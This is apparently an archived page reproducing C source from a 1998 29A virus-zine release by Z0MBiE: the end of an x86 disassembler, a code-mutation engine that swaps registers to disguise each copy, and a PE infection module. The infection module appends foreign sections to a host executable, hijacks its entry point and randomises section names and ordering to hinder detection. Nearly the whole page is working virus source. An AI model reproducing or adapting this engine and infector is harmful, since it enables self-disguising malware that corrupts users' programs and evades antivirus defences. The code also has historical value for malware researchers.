printf("<- unknown command, opcode %B\n", r.opcode);
exit(1);

prefix_0F:
setflag(cf_0F);
b = getbyte;
r.opcode = b;
ttt = (getbyteNI >> 3) & 7;


if cmpEx(b,0xF6,0xB6)
{
//r.type = ct_movXx; // movsx/movzx
goto w_modrm;
}


if cmpEx(b,0xF0,0x80)
{
r.type = ct_jcc;
goto data_66_rel;
}

goto error;

a_data_w_66:
r.regtype[r.regcount ] = rt_a;
r.regsize[r.regcount++] = 0x66;
goto data_w_66;

ttt_a_w_modrm:
setflag(cf_ttt);
goto a_w_modrm;

a_w_modrm:
r.regtype[r.regcount ] = rt_a;
r.regsize[r.regcount++] = 0x66;
goto w_modrm;

ttt_modrm_data_byte:
setflag(cf_ttt);
goto modrm_data_byte;

modrm_data_byte:
modrm_real();
goto data_byte;

ttt_modrm_data_s_w_66:
setflag(cf_ttt);
goto modrm_data_s_w_66;

modrm_data_s_w_66:
modrm_real();
goto data_s_w_66;

ttt_modrm_data_w_66:
setflag(cf_ttt);
goto modrm_data_w_66;

modrm_data_w_66:
modrm_real();
goto data_w_66;

data_s_w_66:
if ((r.opcode & 0x02) != 0)
goto data_byte;
else
goto data_w_66;

data_66_rel:
setflag(cf_datarel);
goto data_66;

data_byte_rel:
setflag(cf_datarel);
goto data_byte;

data_66:
r.datasize = 0x66;
goto data;

data_byte:
r.datasize = 1;
goto data;

data_word:
r.datasize = 2;
goto data;

data_dword:
r.datasize = 4;
goto data;

data:
r.flags |= cf_data;
goto done;

reg_opcode0_data_66:
r.regtype[r.regcount ] = rt_opcode0;
r.regsize[r.regcount++] = 0x66;
goto data_66;

reg_opcode0:
r.regtype[r.regcount ] = rt_opcode0;
r.regsize[r.regcount++] = 0x66;

goto done;

data_w_66:
setflag(cf_w);
goto data_66;

ttt_w_modrm:
setflag(cf_ttt);
goto w_modrm;

w_modrm:
setflag(cf_w);
goto modrm;

ttt_modrm:
setflag(cf_ttt);
goto modrm;

modrm:
modrm_real();

done:
if (r.datasize == 0x66)
if ( flagset(cf_w) && ((r.opcode & 0x01) == 0) )
r.datasize = 1;
else
if flagset(cf_66)
r.datasize = 4;
else
r.datasize = 2;

for (i=0; i<r.regcount; i++)
if (r.regsize[i] == 0x66)
{
if ( flagset(cf_w) && ((r.opcode & 0x01) == 0) )
r.regsize[i] = 1;
else
if flagset(cf_66)
r.regsize[i] = 4;
else
r.regsize[i] = 2;
}

if flagset(cf_mem)
{
for (i=0; i<r.memsize; i++)
r.mem.b[i] = getbyte;
}

if flagset(cf_data)
{
for (i=0; i<r.datasize; i++)
r.data.b[i] = getbyte;
}

if flagset(cf_datarel)
{
if (r.datasize == 1) r.jmpdata = (signed char) r.data.b[0];
if (r.datasize == 2) r.jmpdata = (short) r.data.w[0];
if (r.datasize == 4) r.jmpdata = r.data.d[0];
}

r.size = ip - cmd;
move((pchar) &r, (pchar) rec, sizeof(tcmdrec));

#ifdef FULL_DUMP

printf("\n\n========= DUMP ==========\n");
printf("flags: ");
if (!flagset(cf_66)) printf("-66 ");
if (!flagset(cf_67)) printf("-67 ");
if flagset(cf_lock) printf("lock ");
if flagset(cf_rep) printf("rep ");
if flagset(cf_seg) printf("seg ");
if flagset(cf_0F) printf("0F ");
printf("<opcode> ");
if flagset(cf_w) printf("w ");
if flagset(cf_modrm)printf("modrm ");
if flagset(cf_sib) printf("sib ");
if flagset(cf_mem) printf("mem ");
if flagset(cf_data) printf("data ");
if flagset(cf_datarel) printf("datarel ");
printf("\n");

if flagset(cf_rep) printf("r.px_rep = %B\n",r.px_rep);
if flagset(cf_seg) printf("r.px_seg = %B\n",r.px_seg);

printf("r.opcode = %B\n",r.opcode);
if (r.type == ct_jmp) printf("r.type = ct_jmp\n");
if (r.type == ct_jcc) printf("r.type = ct_jcc\n");
if (r.type == ct_ret) printf("r.type = ct_ret\n");
if (r.type == ct_call) printf("r.type = ct_call\n");

if flagset(cf_modrm)
{
printf("r.modrm = %B\n", r.modrm);
printf("r.mod = %B\n", r.mod);
printf("r.reg = %B\n", r.reg);
printf("r.rm = %B\n", r.rm);
}

if flagset(cf_sib)
printf("r.sib = %B\n", r.sib);

if flagset(cf_mem)
{
printf("r.memsize = %d\n", r.memsize);
if (r.memsize == 1) printf("r.mem = %B\n",r.mem.b[0]);
if (r.memsize == 2) printf("r.mem = %W\n",r.mem.w[0]);
if (r.memsize == 4) printf("r.mem = %D\n",r.mem.d[0]);
}
if flagset(cf_data)
{
printf("r.datasize = %d\n", r.datasize);
if (r.datasize == 1) printf("r.data = %B\n",r.data.b[0]);
if (r.datasize == 2) printf("r.data = %W\n",r.data.w[0]);
if (r.datasize == 4) printf("r.data = %D\n",r.data.d[0]);
}

if (r.regcount != 0)
{
printf("r.regcount = %d\n",r.regcount);
for (i=0; i<r.regcount; i++)
{
printf("r.regtype[%w] = ",i);
if (r.regtype[i] == rt_undefined) printf("rt_undefined");
if (r.regtype[i] == rt_opcode0) printf("rt_opcode0");
if (r.regtype[i] == rt_modrm_reg) printf("rt_modrm_reg");
if (r.regtype[i] == rt_modrm_rm) printf("rt_modrm_rm");
if (r.regtype[i] == rt_sib0_32) printf("rt_sib0_32");
if (r.regtype[i] == rt_sib3_32) printf("rt_sib3_32");
if (r.regtype[i] == rt_a) printf("rt_a");
if (r.regtype[i] == rt_ebp) printf("rt_ebp");

printf("\n");
}
}

#endif

#ifdef SHORT_DUMP

debug_dump(cmd, r.size);

#endif
}

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[disasm.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[engine.c]ÄÄ

// ENGINE.C - main engine
// Copyright (C) 1998 Z0MBiE/29A

//byte command[max_cmd][32];

dword code_base;

dword codesize;
byte ii[max_code_size];
byte oo[max_code_size];

#define UNUSED '-'
#define MARKED 'x'
#define FORNEXTPASS 'N'
byte buf_mark[max_code_size];

void mark_opcode(pchar p, dword size, byte filler)
{
dword i;

i = (dword) p - (dword) ⅈ

for (; size>0; size--, i++)
if (buf_mark[i] != MARKED)
buf_mark[i] = filler;

}

void process_marking(pchar p)
{
tcmdrec rec;
pchar q;
dword t;

cycle:
if (buf_mark[(dword) p - (dword) &ii] == MARKED)
return;

//printf("<%D>: ", (dword) p - (dword) &ii);
disasm(p, &rec);
mark_opcode(p, rec.size, MARKED);

if (rec.type == ct_ret)
{
//printf("-- ct_ret\n");
return;
}
if (rec.type == ct_jmp)
{
//printf("-- ct_jmp\n");

t = (dword)p + rec.jmpdata+rec.size;
t = t - (dword) &ii + code_base;
if (t > 0x80000000)
{
printf("extra jmp to %D\n", t);
return;
}

p += rec.jmpdata+rec.size;
goto cycle;
}
if (rec.type == ct_jmpMODRM)
{
//printf("-- ct_jmpMODRM\n");
return;
}
if ((rec.type == ct_call) || (rec.type == ct_jcc))
{
//printf("-- ct_call/ct_jcc\n");
q = (pchar) ( (dword) p + rec.jmpdata+rec.size );
mark_opcode(q, 1, FORNEXTPASS);
}

p += rec.size;
goto cycle;

}

void mark_input(void)
{
dword i,progress;

// init
fillchar(buf_mark, sizeof(buf_mark), UNUSED);

// entrypoint(s)
mark_opcode((pchar) &ii, 1, FORNEXTPASS);

// main cycle

cycle:
progress=0;
for (i=0; i<codesize; i++)
{
if (buf_mark[i] == FORNEXTPASS)
{
//printf("found FORNEXTPASS at %D\n", i);
process_marking( (pchar) ( i + (dword) &ii ) );
progress++;
}
}
if (progress != 0)
goto cycle;

}

// exchange (E)BX & (E)CX

// a c d b b=3 c=1
// al cl dl bl ah ch dh bh

byte reg8_repl[8] = {0,3,2,1,4,7,6,5}; // ebx <--> ecx
byte reg1632_repl[8] = {0,3,2,1,4,5,6,7}; //

//byte reg8_repl[8] = {0,1,2,3,4,5,6,7};
//byte reg1632_repl[8] = {0,1,2,3,4,5,6,7};

void engine_main(void) // mutate ii[] -> oo[]
{
#ifdef DEBUG_FILES
handle h;
#endif
dword i,j,k,c;
byte b,b0;
tcmdrec rec;

fillchar(&oo, codesize, 0xCC);

printf("marking\n");

mark_input();

printf("assembling ii -> oo\n");

i = 0;
cycle:
if (buf_mark[i] == UNUSED)
i++;
else
{
disasm(&ii[i], &rec);
move(&ii[i], &oo[i], rec.size);

if ((rec.opcode == 0xFF) && (rec.modrm == 0x25))
{
j = (dword) &oo[i+2];
j = * (dword *) j;
j = * (dword *) j;
j = j - (code_base + i + 5);
oo[i+0] = 0xE9;
k = (dword) &oo[i+1];
* (dword *) k = j;
oo[i+5] = 0x90;

i+= rec.size; // +6
}
else
{

// printf("before: i=%D regcount=%d opcode=%B modrm=%B sib=%B mem=%d data=%d\n",
// i, rec.regcount, rec.opcode, rec.modrm, rec.sib, rec.memsize, rec.datasize);

c = 0;

for (k=0; k<rec.regcount; k++)
{

if (rec.regtype[k] == rt_opcode0) b = rec.opcode & 7;
if (rec.regtype[k] == rt_modrm_reg) b = rec.reg;
if (rec.regtype[k] == rt_modrm_rm) b = rec.rm;
if (rec.regtype[k] == rt_sib0_32) b = rec.base;
if (rec.regtype[k] == rt_sib3_32) b = rec.index;

b0 = b;

if (rec.regsize[k] == 1)
b = reg8_repl[b];
else
b = reg1632_repl[b];

if (b != b0) c++;

if (rec.regtype[k] == rt_opcode0)
rec.opcode = (rec.opcode & 0xF8) | b;
if (rec.regtype[k] == rt_modrm_reg) rec.reg = b;
if (rec.regtype[k] == rt_modrm_rm) rec.rm = b;
if (rec.regtype[k] == rt_sib0_32) rec.base = b;
if (rec.regtype[k] == rt_sib3_32) rec.index = b;

}

rec.modrm = (rec.mod << 6) + (rec.reg << 3) + (rec.rm);
rec.sib = (rec.scale << 6) + (rec.index << 3) + (rec.base);

j = i;

#define store_byte(b) oo[j++] = (b)

//#define store_byte(b) oo[j++] = (0x90) //debug

#define flag(x) ((rec.flags & (x)) != 0)

if (c != 0)
{

if (!flag(cf_66)) store_byte(0x66);
if (!flag(cf_67)) store_byte(0x67);
if flag(cf_lock) store_byte(0xF0);
if flag(cf_rep) store_byte(rec.px_rep);
if flag(cf_seg) store_byte(rec.px_seg);
if flag(cf_0F) store_byte(0x0F);
store_byte(rec.opcode);
if flag(cf_modrm) store_byte(rec.modrm);
if flag(cf_sib) store_byte(rec.sib);
for (k=0; k<rec.memsize; k++)
store_byte(rec.mem.b[k]);
for (k=0; k<rec.datasize; k++)
store_byte(rec.data.b[k]);

}

i+= rec.size;

// printf("after: i=%D j=%D opcode=%B modrm=%B sib=%B \n",
// i,j, rec.opcode, rec.modrm, rec.sib);

if (c != 0)
if (i != j)
{
printf("command assembling error");
exit(0);
}

}

}
if (i < codesize)
goto cycle;

#ifdef DEBUG_FILES
h = createfile("_mark");
writefile(h, buf_mark, codesize);
closefile(h);
#endif

}

void run_engine(pchar inbuf, pchar outbuf, dword _codesize_)
{
#ifdef DEBUG_FILES
handle h;
#endif

code_base = (dword) inbuf;

printf("Executing engine\n");

// initialize
zero(ii);
zero(oo);
codesize = _codesize_;
move(inbuf, &ii, codesize);

#ifdef DEBUG_FILES
h = createfile("_inbuf"); writefile(h, ii, codesize); closefile(h);
#endif

engine_main();

#ifdef DEBUG_FILES
h = createfile("_outbuf"); writefile(h, oo, codesize); closefile(h);
#endif

// returning outbuf
move(&oo, outbuf, codesize);

printf("Engine completed\n");
}

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[engine.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[infect.c]ÄÄ

// INFECT.C - PE infection module
// Copyright (C) 1998 Z0MBiE/29A

byte code_buf[max_code_size]; // output buffer for mutated code

#define ALIGNED(addr, align) (((addr) + (align) - 1) & (~((align) - 1)))

mzheader mz;
peheader pe_A;
peheader pe_B;

#define max_obj_num_A 64
#define our_sections 4 // max!
dword objnum_A;
objentry objtable_A[max_obj_num_A];

#define max_obj_num_B 64
dword objnum_B;
objentry objtable_B[max_obj_num_B];

dword max;
byte buf[8192];

dword rva;

dword pe_pos_A;
dword objtable_pos_A;


#ifdef RENAME_SECTIONS

#define c_max 6

char c_str[c_max][16] =
{".text",
".TEXT",
".code",
".CODE",
"code",
"CODE"};

#define d_max 9

char d_str[d_max][16] =
{".data",
".DATA",
"data",
"DATA",
"BSS",
"bss",
".BSS",
".bss",
".CRT"};

#endif

void copyfile(handle I, handle O, dword Ipos, dword Opos, dword size)
{
seek(I, Ipos);
seek(O, Opos);
while (size > 0)
{
max = MIN(sizeof(buf), size);
readfile(I, buf, max);
writefile(O, buf, max);
size -= max;
}
}

void run_infect(pchar file_A, pchar file_B, pchar file_C)
{
handle A,B,C;
dword i,j,a,b;
dword d;

printf("job: %a + %a = %a\n", file_A, file_B, file_C);

A = openfile_ro(file_A);
B = openfile_ro(file_B);
C = createfile(file_C);

//---------------------------------------------------------------------------

printf("processing %a\n", file_A);

max = readfile(A, &mz, sizeof(mzheader));

if ( (mz.id != 'MZ') || (max != sizeof(mzheader)) )
{
printf("error in old exe header\n");
goto exit;
}

if ( (mz.relnum != 0) && (mz.relofs <= sizeof(mzheader)) )
{
printf("PE header not found in this file\n");
goto exit;
}

seek(A, mz.neptr);
pe_pos_A = filepos(A);
max = readfile(A, &pe_A, sizeof(peheader));

if ( (pe_A.id != 'PE') || (max != sizeof(peheader)) )
{
printf("error reading new exe header - PE not found\n");
goto exit;
}

if ((pe_A.cputype < 0x014C) ||
(pe_A.cputype > 0x014E))
{
printf("wrong pe_A.cputype value\n");
goto exit;
}

objnum_A = pe_A.numofobjects;
if ((objnum_A == 0) || (objnum_A > (max_obj_num_A-our_sections)))
{
printf("numofobjects error (0 or too many)");
goto exit;
}

if (pe_A.ntheadersize != (0xF8-0x18))
{
printf("*** WARNING ***: ntheadersize\n");
seek(A, 0x18 + pe_A.ntheadersize); // correct obj table ptr
}

if (((pe_A.flags & 0x0002) == 0) || // executable
((pe_A.flags & 0x2001) != 0) || // dll | fixed
(pe_A.dllflags != 0))
{
printf("pe_A.flags or pe.dllflags error\n");
goto exit;
}

if (pe_A.magic != 0x010B)
{
printf("pe_A.magic error\n");
goto exit;
}

if ((pe_A.subsystem != 2) && (pe_A.subsystem != 3)) // Windows GUI/char
{
printf("pe_A.subsystem error\n");
goto exit;
}

if (pe_A.imagebase != 0x00400000)
{
printf("*** WARNING ***: pe_A.imagesize\n");
}

objtable_pos_A = filepos(A);
readfile(A, objtable_A, objnum_A * sizeof(objentry));

if ( (ALIGNED(filepos(A), pe_A.filealign) - filepos(A)) <
(our_sections * sizeof(objentry)) )
{
printf("No free space in objecttable\n");
goto exit;
}

//---------------------------------------------------------------------------

printf("processing %a\n", file_B);

readfile(B, &mz, sizeof(mzheader));
seek(B, mz.neptr);
readfile(B, &pe_B, sizeof(peheader));

if (pe_B.ntheadersize != (0xF8-0x18))
{
printf("*** WARNING ***: ntheadersize\n");
seek(A, 0x18 + pe_B.ntheadersize); // correct obj table ptr
}

objnum_B = pe_B.numofobjects;
readfile(B, &objtable_B, max_obj_num_B * sizeof(objentry));

//---------------------------------------------------------------------------

j = 0;
for (i=0; i<objnum_B; i++)
if (objtable_B[i].reserved[0] == 0) j++;
if (j == objnum_B) // 1st start - mark sections
{
for (i=0; i<objnum_B;i++)
if (!cmp(&objtable_B[i].name, ".debug", 7))
if (!cmp(&objtable_B[i].name, ".idata", 7)) // YES !!!
objtable_B[i].reserved[0] = 'Z';
};

retry:
for (i=0; i<objnum_B; i++)
if (objtable_B[i].reserved[0] != 'Z')
{
move(&objtable_B[objnum_B-1],
&objtable_B[i],
sizeof(objentry));
objnum_B--;
goto retry;
}

// for (i=0; i<objnum_B;i++)
// objtable_B[i].name[0] = '_';

//---------------------------------------------------------------------------

rva = 0;
for (i=0; i<objnum_A; i++)
{
j = objtable_A[i].sectionrva +
objtable_A[i].virtualsize;
rva = MAX(rva, j);
}
rva = ALIGNED(rva, pe_A.objectalign);

for (i=0; i<objnum_B; i++)
{
objtable_B[i].sectionrva =
objtable_B[i].sectionrva + pe_B.imagebase - pe_A.imagebase;

if (objtable_B[i].sectionrva < rva)
{
printf("RVA fixing error");
goto exit;
}

if (pe_A.imagesize + objtable_B[i].sectionrva > 0x80000000)
{
printf("some rva > 0x80000000, cant infect file\n");
goto exit;
}

}

save_entrypoint = pe_A.imagebase + pe_A.entrypointrva;

pe_A.entrypointrva =
pe_B.entrypointrva + pe_B.imagebase - pe_A.imagebase;

//---------------------------------------------------------------------------

printf("copying %a to %a\n", file_A, file_C);

copyfile(A, C, 0, 0, filesize(A));

//---------------------------------------------------------------------------

printf("copying sections\n");

seek(C, filesize(C));

#ifdef RESORT_MY_SECTIONS

a = rnd(objnum_B);
b = random();

#endif

for (j=0; j<objnum_B; j++)
{
#ifdef RESORT_MY_SECTIONS
i = ((j ^ a) + b) % objnum_B;
#else
i = j;
#endif

move(&objtable_B[i],
&objtable_A[objnum_A],
sizeof(objentry));

objtable_A[objnum_A].physicaloffset =
ALIGNED(filepos(C), pe_A.filealign);

seek(C, objtable_A[objnum_A].physicaloffset);
d = objtable_B[i].sectionrva - // relocate BACK, what the sux...
pe_B.imagebase + pe_A.imagebase +
pe_B.imagebase;

if ((objtable_B[i].objectflags & 0x20) != 0) // code?
{
run_engine((pchar) d, (pchar) &code_buf, objtable_B[i].physicalsize);
writefile(C, &code_buf, objtable_B[i].physicalsize);
}
else
writefile(C, (voidptr) d, objtable_B[i].physicalsize);

objnum_A++;
}

printf("patching header/objecttable\n");

pe_A.numofobjects = objnum_A;

pe_A.flags |= 0x0001; // fixed = relocs. stripped
pe_A.fixuprva = 0;
pe_A.fixupsize = 0;

pe_A.checksum = 0;

#ifdef REDEFINE_SUBSYSTEM
pe_A.subsystem = 3; // char
#endif

for (i=0; i<objnum_A; i++)
{
if (cmp(&objtable_A[i].name, ".reloc", 7))
{
// printf(".reloc killed\n");
objtable_A[i].objectflags |= 0x800;
}
}

for (i=0; i<objnum_B; i++)
{
j = ALIGNED(objtable_B[i].virtualsize, pe_A.objectalign);

if ((objtable_B[i].objectflags & 0x20) != 0)
pe_A.sizeofcode += j;
if ((objtable_B[i].objectflags & 0x40) != 0)
pe_A.sizeofidata += j;
if ((objtable_B[i].objectflags & 0x80) != 0)
pe_A.sizeofudata += j;
}

max = 0;
for (i=0; i<objnum_A;i++)
max = MAX(max,
objtable_A[i].sectionrva +
ALIGNED(objtable_A[i].virtualsize,pe_A.objectalign) );
pe_A.imagesize = max;

// change section names

#define NAMELEN(str) (MAX(strlen((str)), 8))

#ifdef RENAME_SECTIONS

for (i=0; i<objnum_A;i++)
{
for (j=0; j<c_max; j++)
{
if (cmp(&objtable_A[i].name, c_str[j], NAMELEN(c_str[j])))
{
j = rnd(c_max);
// printf("code: %a -> %a\n", objtable_A[i].name,c_str[j]);
move(&c_str[j], &objtable_A[i].name, NAMELEN(c_str[j]));
goto skip_j;
}
if (cmp(&objtable_A[i].name, d_str[j], NAMELEN(d_str[j])))
{
j = rnd(d_max);
// printf("data: %a -> %a\n", objtable_A[i].name,d_str[j]);
move(&d_str[j], &objtable_A[i].name, NAMELEN(d_str[j]));
goto skip_j;
}
} // for j
skip_j:
} // for i

#endif

#ifdef RESORT_OBJTABLE

for (max=0; max<1000; max++)
{
i = rnd(objnum_A);
j = rnd(objnum_A);
move(&objtable_A[i], &objtable_B[0], sizeof(objentry));
move(&objtable_A[j], &objtable_A[i], sizeof(objentry));
move(&objtable_B[0], &objtable_A[j], sizeof(objentry));
}

#endif

seek(C, pe_pos_A);
writefile(C, &pe_A, 0x18+pe_A.ntheadersize );

seek(C, objtable_pos_A);
writefile(C, objtable_A, objnum_A * sizeof(objentry));

//---------------------------------------------------------------------------

exit:
closefile(A);
closefile(B);
closefile(C);

}

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[infect.c]ÄÄ

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT